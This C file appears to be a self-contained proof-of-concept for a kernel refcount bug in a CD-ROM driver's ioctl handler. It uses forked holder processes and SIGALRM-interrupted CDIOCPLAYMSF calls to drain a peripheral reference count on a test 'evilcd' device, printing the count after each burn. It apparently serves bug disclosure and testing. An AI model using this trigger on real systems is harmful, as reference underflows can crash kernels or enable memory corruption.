/* DF-5273 PoC (self-contained): cdioctl() calls cam_periph_release()
 * without a matching acquire when cam_periph_hold(periph, PCATCH) is
 * interrupted by a signal.  Each self-interrupted ioctl burns one
 * peripheral reference.
 *
 * A forked holder child issues CDIOCPAUSE on the SAME fd (the evilcd
 * device stalls it, so the periph stays held).  The parent then issues
 * CDIOCPLAYMSF and self-interrupts with SIGALRM after 100ms: the blocked
 * cam_periph_hold(PCATCH) returns EINTR and cdioctl()'s extra
 * cam_periph_release() runs.  debug.evilcd.refcnt (the cd periph
 * refcount) visibly decrements once per interrupted ioctl, with no
 * close() anywhere.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/cdio.h>
#include <sys/sysctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>

static int fd;

static int
refcnt(void)
{
	int v = -1;
	size_t l = sizeof(v);

	sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0);
	return (v);
}

static void
unstall(void)
{
	int v = 1;
	size_t l = sizeof(v);

	sysctlbyname("debug.evilcd.unstall", &v, NULL, &l, sizeof(int));
}

static void
sigh(int sig)
{
}

int
main(int argc, char **argv)
{
	struct sigaction sa;
	struct itimerval it;
	struct ioc_play_msf msf;
	int round, i, r0, rc;
	pid_t holder;

	fd = open(argv[1] ? argv[1] : "/dev/cd1", O_RDONLY);
	if (fd < 0) {
		perror("open");
		exit(1);
	}
	setbuf(stdout, NULL);
	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = sigh;
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = 0;		/* NO SA_RESTART -> EINTR */
	sigaction(SIGALRM, &sa, NULL);

	memset(&msf, 0, sizeof(msf));
	msf.start_s = 2;
	msf.end_m = 10;

	r0 = refcnt();
	printf("[poc] initial cd periph refcount: %d\n", r0);

	for (round = 0; round < 3; round++) {
		int status;

		holder = fork();
		if (holder == 0) {
			/* child: hold the periph via the stalled PAUSE */
			ioctl(fd, CDIOCPAUSE);
			_exit(0);
		}
		usleep(500000);

		for (i = 0; i < 3; i++) {
			memset(&it, 0, sizeof(it));
			it.it_value.tv_usec = 100000;
			setitimer(ITIMER_REAL, &it, NULL);
			errno = 0;
			rc = ioctl(fd, CDIOCPLAYMSF, &msf);
			printf("[poc] round %d burn %d: ioctl rc=%d "
			    "errno=%d(%s)  refcount=%d\n",
			    round, i, rc, errno,
			    (rc < 0) ? strerror(errno) : "-",
			    refcnt());
		}
		unstall();
		waitpid(holder, &status, 0);
		printf("[poc] round %d done (holder exited), refcount=%d "
		    "(baseline %d)\n", round, refcnt(), r0);
	}
	printf("[poc] FINAL refcount=%d, baseline=%d, delta=%d "
	    "(no close() was ever called)\n",
	    refcnt(), r0, refcnt() - r0);
	return (0);
}
